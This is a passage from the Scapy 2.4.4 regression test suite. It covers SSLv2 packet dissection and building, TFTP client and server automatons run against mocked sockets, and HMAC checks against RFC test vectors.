p\xd2k\x80\xe5e\xbc\xeb\x03\x0f\x88\x9ft\xad\xdd\xf6\x130\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14fS\x94\xf4\x15\xd1\xbdgh\xb0Q725\xe1\xa4\xaa\xde\x07|0\x13\x06\x03U\x1d%\x04\x0c0\n\x06\x08+\x06\x01\x05\x05\x07\x03\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x81\x88\x92sk\x93\xe7\x95\xd6\xddA\xee\x8e\x1e\xbd\xa3HX\xa7A5?{}\xd07\x98\x0e\xb8,\x94w\xc8Q6@\xadY\t(\xc8V\xd6\xea[\xac\xb4\xd8?h\xb7f\xca\xe1V7\xa9\x00e\xeaQ\xc9\xec\xb2iI]\xf9\xe3\xc0\xedaT\xc9\x12\x9f\xc6\xb0\nsU\xe8U5`\xef\x1c6\xf0\xda\xd1\x90wV\x04\xb8\xab8\xee\xf7\t\xc5\xa5\x98\x90#\xea\x1f\xdb\x15\x7f2(\x81\xab\x9b\x85\x02K\x95\xe77Q{\x1bH.\xfb>R\xa3\r\xb4F\xa9\x92:\x1c\x1f\xd7\n\x1eXJ\xfa.Q\x8f)\xc6\x1e\xb8\x0e1\x0es\xf1\'\x88\x17\xca\xc8i\x0c\xfa\x83\xcd\xb3y\x0e\x14\xb0\xb8\x9b/:-\t\xe3\xfc\x06\xf0:n\xfd6;+\x1a\t*\xe8\xab_\x8c@\xe4\x81\xb2\xbc\xf7\x83g\x11nN\x93\xea"\xaf\xff\xa3\x9awWv\xd0\x0b8\xac\xf8\x8a\x945\x8e\xd7\xd4a\xcc\x01\xff$\xb4\x8fa#\xba\x88\xd7Y\xe4\xe9\xba*N\xb5\x15\x0f\x9c\xd0\xea\x06\x91\xd9\xde\xab\x07\x00\xc0\x05\x00\x80\x03\x00\x80\x01\x00\x80\x06\x00@\x04\x00\x80\x02\x00\x80\x03\xea\xd5\x88T&\xe7\\\xc9wM\x05\x1fo\xbf\xec' mk = b'\x81\x12\x02\x07\x00\xc0\x00\x00\x01\x00\x00\x08(\xc98#b\xc1\x94\x9e\xf1|\xd3\x98/\x84\xa6\xfb\x1e}b7\xf1\xfa9\xc3\xb4A\xe4\xb7\x97\xcd\x0c\xd4\x81\x82\xee\x8b\x80f]_\xbc\xe5\xeb\xe4}b\x82 \xa1S\xd5\xbe\xb3\xf7\xbb\x1c]zm\xe6\xc5\x95\xe3Y\x9d\x84b\xf2\x89\x08i\xf9"\x8d\xf7\xb9\xe3\xb5\xcb\x90\xc2V\xcel\x14\xb0\xd4-\xb3\xd3\xfe\x83\x8a(\x025\xd0Y\x9b4M\xde\xc6\x99{H\x89u.\xfa\x17\x13|\xd39\xf6sc\xaat\x9fy\xf69s9\xbfM\xdc\xcdT\x8d~U"\xdd\xce\xab\xfa\x0e\xa9\x90$s&\x0c8\xe4\x13b\x15\xc7\xc2\r#\xc96\x04{\x14\xd0\x19\xef\x13ql\x07\xbf\'\xfb\xdc\x14t\xf6I\xe6\x0b\xe7\xf2\xd6e\'%2H\x81\x16\x0bT;0\x95G%E\xc559p\x85S\x07\xbf\x03\xb0^\x06\xf0\xdcL\xd4\xf2\x9b\xf7\xc6T\xdb%MS\x8ch\xb5\x91H\xffF\xf0\xafCw\x1a:7\x1f\xf8\x05\x944\xc1p\xb6\x8e\x12.#,a\xd4s\xc7\x9f\xe5\xbf\xcb\xee\x1aS\xa71\x15\xf5pE' sv = b'\x00(\x07q\x8c\x08\xdb\xa8\xaa\x8d\x87\x0b\xe8\x01^\xed\x87\x8e\xb2\xc0\xa9\x84\x11v)~\xf8\xd9,\xea\xe2\x05\x86\x1d\x01n\xe1\xe6\xccE[\xcej' t = SSLv2(ch) t.show2() challenge = t.msg[0].challenge t = SSLv2(sh, tls_session=t.tls_session.mirror()) t.show2() t.tls_session.server_rsa_key = rsa_key t = SSLv2(mk, tls_session=t.tls_session.mirror()) t.show2() t.show2() t = SSLv2(sv, tls_session=t.tls_session.mirror()) t.show2() t.show2() assert(t.padlen == 7) assert(t.mac == b'\xe7\xe4\x08\x0e\x86\xc4\x93\t\x80l/\x80\xdaQ\xa0z') assert(t.tls_session.rcs.seq_num == 2) assert(t.tls_session.wcs.seq_num == 2) t.msg[0].challenge == challenge = Check TLS-related scapy internals - Checking tls_session freeze during show2() l = len(t.tls_session.handshake_messages) t.show2() l == len(t.tls_session.handshake_messages) = Check TLS-related scapy internals - Checking SSLv2 cast from TLS class t = TLS(ch) assert(isinstance(t, SSLv2)) t.msg[0].challenge == challenge ############################################################################### ######################### Building SSLv2 packets ############################## ############################################################################### + Build SSLv2 packets = Building SSLv2 packets - Various default messages raw(SSLv2()) raw(SSLv2Error()) raw(SSLv2ClientHello()) raw(SSLv2ServerHello()) raw(SSLv2ClientMasterKey()) raw(SSLv2ServerVerify()) raw(SSLv2ClientFinished()) raw(SSLv2RequestCertificate()) raw(SSLv2ClientCertificate()) raw(SSLv2ServerFinished()) = Building SSLv2 packets - Error within clear record t = SSLv2(msg=SSLv2Error(code='no_cipher')) raw(t) == b'\x80\x03\x00\x00\x01' = Building SSLv2 packets - ClientHello with automatic length computation ch_pkt = SSLv2ClientHello() ch_pkt.msgtype = 'client_hello' ch_pkt.version = 0x0002 ch_pkt.ciphers = [SSL_CK_DES_192_EDE3_CBC_WITH_MD5, SSL_CK_IDEA_128_CBC_WITH_MD5, SSL_CK_RC2_128_CBC_WITH_MD5, SSL_CK_RC4_128_WITH_MD5, SSL_CK_DES_64_CBC_WITH_MD5, SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5, SSL_CK_RC4_128_EXPORT40_WITH_MD5] ch_pkt.challenge = b'!2bc\x97^\xa3\r9\x14*\xe4\xd6\xd4\n\x1e' t = SSLv2(msg=ch_pkt) raw(t) == ch = Building SSLv2 packets - ClientMasterKey context linking mk = SSLv2ClientMasterKey(cipher='SSL_CK_DES_192_EDE3_CBC_WITH_MD5', clearkey=b'\xff'*19, encryptedkey=b'\0'*256, decryptedkey=b'\xaa'*5, keyarg=b'\x01'*8) t = SSLv2(msg=mk) t.tls_session.sslv2_connection_id = b'\xba'*16 t.tls_session.sslv2_challenge = b'\x42'*16 t.raw_stateful() s = t.tls_session assert(s.master_secret == b'\xff'*19 + b'\xaa'*5) assert(isinstance(s.rcs.ciphersuite, SSL_CK_DES_192_EDE3_CBC_WITH_MD5)) assert(isinstance(s.wcs.ciphersuite, SSL_CK_DES_192_EDE3_CBC_WITH_MD5)) s.rcs.cipher.iv == b'\x01'*8 s.wcs.cipher.iv == b'\x01'*8 ############################################################################### ############################ Automaton behaviour ############################## ############################################################################### # see test/tls/tests_tls_netaccess.uts scapy-2.4.4/test/tftp.uts000066400000000000000000000145441372370053500153460ustar00rootroot00000000000000% Regression tests for TFTP # More information at http://www.secdev.org/projects/UTscapy/ + TFTP coverage tests = Test answers assert TFTP_DATA(block=1).answers(TFTP_RRQ()) assert not TFTP_WRQ().answers(TFTP_RRQ()) assert not TFTP_RRQ().answers(TFTP_WRQ()) assert TFTP_ACK(block=1).answers(TFTP_DATA(block=1)) assert not TFTP_ACK(block=0).answers(TFTP_DATA(block=1)) assert TFTP_ACK(block=0).answers(TFTP_RRQ()) assert not TFTP_ACK().answers(TFTP_ACK()) assert TFTP_ERROR().answers(TFTP_DATA()) and TFTP_ERROR().answers(TFTP_ACK()) assert TFTP_OACK().answers(TFTP_WRQ()) + TFTP Automatons ~ linux = Utilities ~ linux legacy_select_objects = None def patch_select_objects(classname): global legacy_select_objects legacy_select_objects = select_objects def mock_select_objects(inputs, remain): test = [s for s in inputs if isinstance(s, classname)] if test: if len(test[0].packets): return test else: inputs = [s for s in inputs if not isinstance(s, classname)] return legacy_select_objects(inputs, remain) scapy.automaton.select_objects = mock_select_objects class MockTFTPSocket(object): packets = [] def recv(self, n): pkt = self.packets.pop(0) return pkt def send(self, *args, **kargs): pass = TFTP_read() automaton ~ linux class MockReadSocket(MockTFTPSocket): packets = [IP(src="1.2.3.4") / UDP(dport=0x2807) / TFTP_DATA(block=1) / ("P" * 512), IP(src="1.2.3.4") / UDP(dport=0x2807) / TFTP_DATA(block=2) / "<3"] patch_select_objects(MockReadSocket) tftp_read = TFTP_read("file.txt", "1.2.3.4", sport=0x2807, ll=MockReadSocket, recvsock=MockReadSocket) res = tftp_read.run() scapy.automaton.select_objects = legacy_select_objects assert res == (b"P" * 512 + b"<3") = TFTP_read() automaton error ~ linux class MockReadSocket(MockTFTPSocket): packets = [IP(src="1.2.3.4") / UDP(dport=0x2807) / TFTP_ERROR(errorcode=2, errormsg="Fatal error")] patch_select_objects(MockReadSocket) tftp_read = TFTP_read("file.txt", "1.2.3.4", sport=0x2807, ll=MockReadSocket, recvsock=MockReadSocket) try: tftp_read.run() assert False except Automaton.ErrorState as e: assert str(e) == "Reached ERROR: [\"ERROR Access violation: 'Fatal error'\"]" scapy.automaton.select_objects = legacy_select_objects = TFTP_write() automaton ~ linux data_received = b"" class MockWriteSocket(MockTFTPSocket): packets = [IP(src="1.2.3.4") / UDP(dport=0x2807) / TFTP_ACK(block=0), IP(src="1.2.3.4") / UDP(dport=0x2807) / TFTP_ACK(block=1) ] def send(self, *args, **kargs): if len(args) and Raw in args[0]: global data_received data_received += args[0][Raw].load tftp_write = TFTP_write("file.txt", "P" * 767 + "Scapy <3", "1.2.3.4", sport=0x2807, ll=MockWriteSocket, recvsock=MockWriteSocket) patch_select_objects(MockWriteSocket) tftp_write.run() scapy.automaton.select_objects = legacy_select_objects assert data_received == (b"P" * 767 + b"Scapy <3") = TFTP_write() automaton error ~ linux class MockWriteSocket(MockTFTPSocket): packets = [IP(src="1.2.3.4") / UDP(dport=0x2807) / TFTP_ERROR(errorcode=2, errormsg="Fatal error")] tftp_write = TFTP_write("file.txt", "P" * 767 + "Scapy <3", "1.2.3.4", sport=0x2807, ll=MockWriteSocket, recvsock=MockWriteSocket) patch_select_objects(MockWriteSocket) try: tftp_write.run() assert False except Automaton.ErrorState as e: assert str(e) == "Reached ERROR: [\"ERROR Access violation: 'Fatal error'\"]" scapy.automaton.select_objects = legacy_select_objects = TFTP_WRQ_server() automaton ~ linux class MockWRQSocket(MockTFTPSocket): packets = [IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_WRQ(filename="scapy.txt"), IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_DATA(block=1) / ("P" * 512), IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_DATA(block=2) / "<3"] tftp_wrq = TFTP_WRQ_server(ip="1.2.3.4", sport=0x2807, ll=MockWRQSocket, recvsock=MockWRQSocket) patch_select_objects(MockWRQSocket) assert tftp_wrq.run() == (b"scapy.txt", (b"P" * 512 + b"<3")) scapy.automaton.select_objects = legacy_select_objects = TFTP_WRQ_server() automaton with options ~ linux class MockWRQSocket(MockTFTPSocket): packets = [IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_WRQ(filename="scapy.txt") / TFTP_Options(options=[TFTP_Option(oname="blksize", value="100")]), IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_DATA(block=1) / ("P" * 100), IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_DATA(block=2) / "<3"] tftp_wrq = TFTP_WRQ_server(ip="1.2.3.4", sport=0x2807, ll=MockWRQSocket, recvsock=MockWRQSocket) patch_select_objects(MockWRQSocket) assert tftp_wrq.run() == (b"scapy.txt", (b"P" * 100 + b"<3")) scapy.automaton.select_objects = legacy_select_objects = TFTP_RRQ_server() automaton ~ linux sent_data = "P" * 512 + "<3" import tempfile filename = tempfile.mktemp(suffix=".txt") fdesc = open(filename, "w") fdesc.write(sent_data) fdesc.close() received_data = "" class MockRRQSocket(MockTFTPSocket): packets = [IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_RRQ(filename="scapy.txt") / TFTP_Options(options=[TFTP_Option(oname="blksize", value="100")]), IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_RRQ(filename=filename[5:]) / TFTP_Options(), IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_ACK(block=1), IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_ACK(block=2) ] def send(self, *args, **kargs): if len(args): pkt = args[0] if TFTP_DATA in pkt: global received_data received_data += pkt[Raw].load.decode("utf-8") tftp_rrq = TFTP_RRQ_server(ip="1.2.3.4", sport=0x2807, dir="/tmp/", serve_one=True, ll=MockRRQSocket, recvsock=MockRRQSocket) patch_select_objects(MockRRQSocket) tftp_rrq.run() scapy.automaton.select_objects = legacy_select_objects assert received_data == sent_data import os os.unlink(filename) scapy-2.4.4/test/tls.uts000066400000000000000000003474671372370053500152100ustar00rootroot00000000000000% Tests for TLS module # # Try me with : # bash test/run_tests -t test/tls.uts -F ~ crypto ############################################################################### ################################### Crypto #################################### ############################################################################### ############################################################################### ### HMAC ### ############################################################################### + Test HMACs = Crypto - Hmac_MD5 instantiation, parameter check from scapy.layers.tls.crypto.h_mac import Hmac_MD5 a = Hmac_MD5("somekey") a.key_len == 16 and a.hmac_len == 16 = Crypto - Hmac_MD5 behavior on test vectors from RFC 2202 (+ errata) a = Hmac_MD5 t1 = a(b'\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b').digest("Hi There") == b'\x92\x94\x72\x7a\x36\x38\xbb\x1c\x13\xf4\x8e\xf8\x15\x8b\xfc\x9d' t2 = a('Jefe').digest('what do ya want for nothing?') == b'\x75\x0c\x78\x3e\x6a\xb0\xb5\x03\xea\xa8\x6e\x31\x0a\x5d\xb7\x38' t3 = a(b'\xaa'*16).digest(b'\xdd'*50) == b'\x56\xbe\x34\x52\x1d\x14\x4c\x88\xdb\xb8\xc7\x33\xf0\xe8\xb3\xf6' t4 = a(b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19').digest(b'\xcd'*50) == b'\x69\x7e\xaf\x0a\xca\x3a\x3a\xea\x3a\x75\x16\x47\x46\xff\xaa\x79' t5 = a(b'\x0c'*16).digest("Test With Truncation") == b'\x56\x46\x1e\xf2\x34\x2e\xdc\x00\xf9\xba\xb9\x95\x69\x0e\xfd\x4c' t6 = a(b'\xaa'*80).digest("Test Using Larger Than Block-Size Key - Hash Key First") == b'\x6b\x1a\xb7\xfe\x4b\xd7\xbf\x8f\x0b\x62\xe6\xce\x61\xb9\xd0\xcd' t7 = a(b'\xaa'*80).digest("Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data") == b'\x6f\x63\x0f\xad\x67\xcd\xa0\xee\x1f\xb1\xf5\x62\xdb\x3a\xa5\x3e' t1 and t2 and t3 and t4 and t5 and t6 and t7 = Crypto - Hmac_SHA instantiation, parameter check from scapy.layers.tls.crypto.h_mac import Hmac_SHA a = Hmac_SHA("somekey") a.key_len == 20 and a.hmac_len == 20 = Crypto - Hmac_SHA behavior on test vectors from RFC 2202 (+ errata) a = Hmac_SHA t1 = a(b'\x0b'*20).digest("Hi There") == b'\xb6\x17\x31\x86\x55\x05\x72\x64\xe2\x8b\xc0\xb6\xfb\x37\x8c\x8e\xf1\x46\xbe\x00' t2 = a('Jefe').digest("what do ya want for nothing?") == b'\xef\xfc\xdf\x6a\xe5\xeb\x2f\xa2\xd2\x74\x16\xd5\xf1\x84\xdf\x9c\x25\x9a\x7c\x79' t3 = a(b'\xaa'*20).digest(b'\xdd'*50) == b'\x12\x5d\x73\x42\xb9\xac\x11\xcd\x91\xa3\x9a\xf4\x8a\xa1\x7b\x4f\x63\xf1\x75\xd3' t4 = a(b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19').digest(b'\xcd'*50) == b'\x4c\x90\x07\xf4\x02\x62\x50\xc6\xbc\x84\x14\xf9\xbf\x50\xc8\x6c\x2d\x72\x35\xda' t5 = a(b'\x0c'*20).digest("Test With Truncation") == b'\x4c\x1a\x03\x42\x4b\x55\xe0\x7f\xe7\xf2\x7b\xe1\xd5\x8b\xb9\x32\x4a\x9a\x5a\x04' t6 = a(b'\xaa'*80).digest("Test Using Larger Than Block-Size Key - Hash Key First") == b'\xaa\x4a\xe5\xe1\x52\x72\xd0\x0e\x95\x70\x56\x37\xce\x8a\x3b\x55\xed\x40\x21\x12' t7 = a(b'\xaa'*80).digest("Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data") == b'\xe8\xe9\x9d\x0f\x45\x23\x7d\x78\x6d\x6b\xba\xa7\x96\x5c\x78\x08\xbb\xff\x1a\x91' t1 and t2 and t3 and t4 and t5 and t6 and t7 = Crypto - Hmac_SHA2 behavior on test vectors from RFC 4231 class _hmac_test_case_1: Key = (b'\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'+ b'\x0b\x0b\x0b\x0b\x0b\x0b\x0b') Data = b'\x48\x69\x20\x54\x68\x65\x72\x65' HMAC_SHA_224 = (b'\x89\x6f\xb1\x12\x8a\xbb\xdf\x19\x68\x32\x10\x7c\xd4'+ b'\x9d\xf3\x3f\x47\xb4\xb1\x16\x99\x12\xba\x4f\x53\x68'+ b'\x4b\x22') HMAC_SHA_256 = (b'\xb0\x34\x4c\x61\xd8\xdb\x38\x53\x5c\xa8\xaf\xce\xaf'+ b'\x0b\xf1\x2b\x88\x1d\xc2\x00\xc9\x83\x3d\xa7\x26\xe9'+ b'\x37\x6c\x2e\x32\xcf\xf7') HMAC_SHA_384 = (b'\xaf\xd0\x39\x44\xd8\x48\x95\x62\x6b\x08\x25\xf4\xab'+ b'\x46\x90\x7f\x15\xf9\xda\xdb\xe4\x10\x1e\xc6\x82\xaa'+ b'\x03\x4c\x7c\xeb\xc5\x9c\xfa\xea\x9e\xa9\x07\x6e\xde'+ b'\x7f\x4a\xf1\x52\xe8\xb2\xfa\x9c\xb6') HMAC_SHA_512 = (b'\x87\xaa\x7c\xde\xa5\xef\x61\x9d\x4f\xf0\xb4\x24\x1a'+ b'\x1d\x6c\xb0\x23\x79\xf4\xe2\xce\x4e\xc2\x78\x7a\xd0'+ b'\xb3\x05\x45\xe1\x7c\xde\xda\xa8\x33\xb7\xd6\xb8\xa7'+ b'\x02\x03\x8b\x27\x4e\xae\xa3\xf4\xe4\xbe\x9d\x91\x4e'+ b'\xeb\x61\xf1\x70\x2e\x69\x6c\x20\x3a\x12\x68\x54') class _hmac_test_case_2: Key = b'\x4a\x65\x66\x65' Data = (b'\x77\x68\x61\x74\x20\x64\x6f\x20\x79\x61\x20\x77\x61'+ b'\x6e\x74\x20\x66\x6f\x72\x20\x6e\x6f\x74\x68\x69\x6e'+ b'\x67\x3f') HMAC_SHA_224 = (b'\xa3\x0e\x01\x09\x8b\xc6\xdb\xbf\x45\x69\x0f\x3a\x7e'+ b'\x9e\x6d\x0f\x8b\xbe\xa2\xa3\x9e\x61\x48\x00\x8f\xd0'+ b'\x5e\x44') HMAC_SHA_256 = (b'\x5b\xdc\xc1\x46\xbf\x60\x75\x4e\x6a\x04\x24\x26\x08'+ b'\x95\x75\xc7\x5a\x00\x3f\x08\x9d\x27\x39\x83\x9d\xec'+ b'\x58\xb9\x64\xec\x38\x43') HMAC_SHA_384 = (b'\xaf\x45\xd2\xe3\x76\x48\x40\x31\x61\x7f\x78\xd2\xb5'+ b'\x8a\x6b\x1b\x9c\x7e\xf4\x64\xf5\xa0\x1b\x47\xe4\x2e'+ b'\xc3\x73\x63\x22\x44\x5e\x8e\x22\x40\xca\x5e\x69\xe2'+ b'\xc7\x8b\x32\x39\xec\xfa\xb2\x16\x49') HMAC_SHA_512 = (b'\x16\x4b\x7a\x7b\xfc\xf8\x19\xe2\xe3\x95\xfb\xe7\x3b'+ b'\x56\xe0\xa3\x87\xbd\x64\x22\x2e\x83\x1f\xd6\x10\x27'+ b'\x0c\xd7\xea\x25\x05\x54\x97\x58\xbf\x75\xc0\x5a\x99'+ b'\x4a\x6d\x03\x4f\x65\xf8\xf0\xe6\xfd\xca\xea\xb1\xa3'+ b'\x4d\x4a\x6b\x4b\x63\x6e\x07\x0a\x38\xbc\xe7\x37') class _hmac_test_case_3: Key = (b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa') Data = (b'\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd'+ b'\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd'+ b'\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd'+ b'\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd') HMAC_SHA_224 = (b'\x7f\xb3\xcb\x35\x88\xc6\xc1\xf6\xff\xa9\x69\x4d\x7d'+ b'\x6a\xd2\x64\x93\x65\xb0\xc1\xf6\x5d\x69\xd1\xec\x83'+ b'\x33\xea') HMAC_SHA_256 = (b'\x77\x3e\xa9\x1e\x36\x80\x0e\x46\x85\x4d\xb8\xeb\xd0'+ b'\x91\x81\xa7\x29\x59\x09\x8b\x3e\xf8\xc1\x22\xd9\x63'+ b'\x55\x14\xce\xd5\x65\xfe') HMAC_SHA_384 = (b'\x88\x06\x26\x08\xd3\xe6\xad\x8a\x0a\xa2\xac\xe0\x14'+ b'\xc8\xa8\x6f\x0a\xa6\x35\xd9\x47\xac\x9f\xeb\xe8\x3e'+ b'\xf4\xe5\x59\x66\x14\x4b\x2a\x5a\xb3\x9d\xc1\x38\x14'+ b'\xb9\x4e\x3a\xb6\xe1\x01\xa3\x4f\x27') HMAC_SHA_512 = (b'\xfa\x73\xb0\x08\x9d\x56\xa2\x84\xef\xb0\xf0\x75\x6c'+ b'\x89\x0b\xe9\xb1\xb5\xdb\xdd\x8e\xe8\x1a\x36\x55\xf8'+ b'\x3e\x33\xb2\x27\x9d\x39\xbf\x3e\x84\x82\x79\xa7\x22'+ b'\xc8\x06\xb4\x85\xa4\x7e\x67\xc8\x07\xb9\x46\xa3\x37'+ b'\xbe\xe8\x94\x26\x74\x27\x88\x59\xe1\x32\x92\xfb') class _hmac_test_case_4: Key = (b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d'+ b'\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19') Data = (b'\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd'+ b'\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd'+ b'\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd'+ b'\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd') HMAC_SHA_224 = (b'\x6c\x11\x50\x68\x74\x01\x3c\xac\x6a\x2a\xbc\x1b\xb3'+ b'\x82\x62\x7c\xec\x6a\x90\xd8\x6e\xfc\x01\x2d\xe7\xaf'+ b'\xec\x5a') HMAC_SHA_256 = (b'\x82\x55\x8a\x38\x9a\x44\x3c\x0e\xa4\xcc\x81\x98\x99'+ b'\xf2\x08\x3a\x85\xf0\xfa\xa3\xe5\x78\xf8\x07\x7a\x2e'+ b'\x3f\xf4\x67\x29\x66\x5b') HMAC_SHA_384 = (b'\x3e\x8a\x69\xb7\x78\x3c\x25\x85\x19\x33\xab\x62\x90'+ b'\xaf\x6c\xa7\x7a\x99\x81\x48\x08\x50\x00\x9c\xc5\x57'+ b'\x7c\x6e\x1f\x57\x3b\x4e\x68\x01\xdd\x23\xc4\xa7\xd6'+ b'\x79\xcc\xf8\xa3\x86\xc6\x74\xcf\xfb') HMAC_SHA_512 = (b'\xb0\xba\x46\x56\x37\x45\x8c\x69\x90\xe5\xa8\xc5\xf6'+ b'\x1d\x4a\xf7\xe5\x76\xd9\x7f\xf9\x4b\x87\x2d\xe7\x6f'+ b'\x80\x50\x36\x1e\xe3\xdb\xa9\x1c\xa5\xc1\x1a\xa2\x5e'+ b'\xb4\xd6\x79\x27\x5c\xc5\x78\x80\x63\xa5\xf1\x97\x41'+ b'\x12\x0c\x4f\x2d\xe2\xad\xeb\xeb\x10\xa2\x98\xdd') class _hmac_test_case_5: Key = (b'\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'+ b'\x0c\x0c\x0c\x0c\x0c\x0c\x0c') Data = (b'\x54\x65\x73\x74\x20\x57\x69\x74\x68\x20\x54\x72\x75'+ b'\x6e\x63\x61\x74\x69\x6f\x6e') HMAC_SHA_224 = (b'\x0e*\xeah\xa9\x0c\x8d7\xc9\x88\xbc\xdb\x9f\xcao\xa8'+ b'\t\x9c\xd8W\xc7\xecJ\x18\x15\xca\xc5L') HMAC_SHA_256 = (b'\xa3\xb6\x16ts\x10\x0e\xe0n\x0cyl)UU+\xfao|\nj\x8a'+ b'\xef\x8b\x93\xf8`\xaa\xb0\xcd \xc5') HMAC_SHA_384 = (b':\xbf4\xc3P;*#\xa4n\xfca\x9b\xae\xf8\x97\xf4\xc8\xe4'+ b',\x93L\xe5\\\xcb\xae\x97@\xfc\xbc\x1a\xf4\xcab&\x9e*'+ b'7\xcd\x88\xba\x92cA\xef\xe4\xae\xea') HMAC_SHA_512 = (b'A_\xadbqX\nS\x1dAy\xbc\x89\x1d\x87\xa6P\x18\x87\x07'+ b'\x92*O\xbb6f:\x1e\xb1m\xa0\x08q\x1c[P\xdd\xd0\xfc#P'+ b'\x84\xeb\x9d3d\xa1EO\xb2\xefg\xcd\x1d)\xfegs\x06\x8e'+ b'\xa2f\xe9k') class _hmac_test_case_6: Key = (b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa') Data = (b'\x54\x65\x73\x74\x20\x55\x73\x69\x6e\x67\x20\x4c\x61'+ b'\x72\x67\x65\x72\x20\x54\x68\x61\x6e\x20\x42\x6c\x6f'+ b'\x63\x6b\x2d\x53\x69\x7a\x65\x20\x4b\x65\x79\x20\x2d'+ b'\x20\x48\x61\x73\x68\x20\x4b\x65\x79\x20\x46\x69\x72'+ b'\x73\x74') HMAC_SHA_224 = (b'\x95\xe9\xa0\xdb\x96\x20\x95\xad\xae\xbe\x9b\x2d\x6f'+ b'\x0d\xbc\xe2\xd4\x99\xf1\x12\xf2\xd2\xb7\x27\x3f\xa6'+ b'\x87\x0e') HMAC_SHA_256 = (b'\x60\xe4\x31\x59\x1e\xe0\xb6\x7f\x0d\x8a\x26\xaa\xcb'+ b'\xf5\xb7\x7f\x8e\x0b\xc6\x21\x37\x28\xc5\x14\x05\x46'+ b'\x04\x0f\x0e\xe3\x7f\x54') HMAC_SHA_384 = (b'\x4e\xce\x08\x44\x85\x81\x3e\x90\x88\xd2\xc6\x3a\x04'+ b'\x1b\xc5\xb4\x4f\x9e\xf1\x01\x2a\x2b\x58\x8f\x3c\xd1'+ b'\x1f\x05\x03\x3a\xc4\xc6\x0c\x2e\xf6\xab\x40\x30\xfe'+ b'\x82\x96\x24\x8d\xf1\x63\xf4\x49\x52') HMAC_SHA_512 = (b'\x80\xb2\x42\x63\xc7\xc1\xa3\xeb\xb7\x14\x93\xc1\xdd'+ b'\x7b\xe8\xb4\x9b\x46\xd1\xf4\x1b\x4a\xee\xc1\x12\x1b'+ b'\x01\x37\x83\xf8\xf3\x52\x6b\x56\xd0\x37\xe0\x5f\x25'+ b'\x98\xbd\x0f\xd2\x21\x5d\x6a\x1e\x52\x95\xe6\x4f\x73'+ b'\xf6\x3f\x0a\xec\x8b\x91\x5a\x98\x5d\x78\x65\x98') class _hmac_test_case_7: Key = (b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ 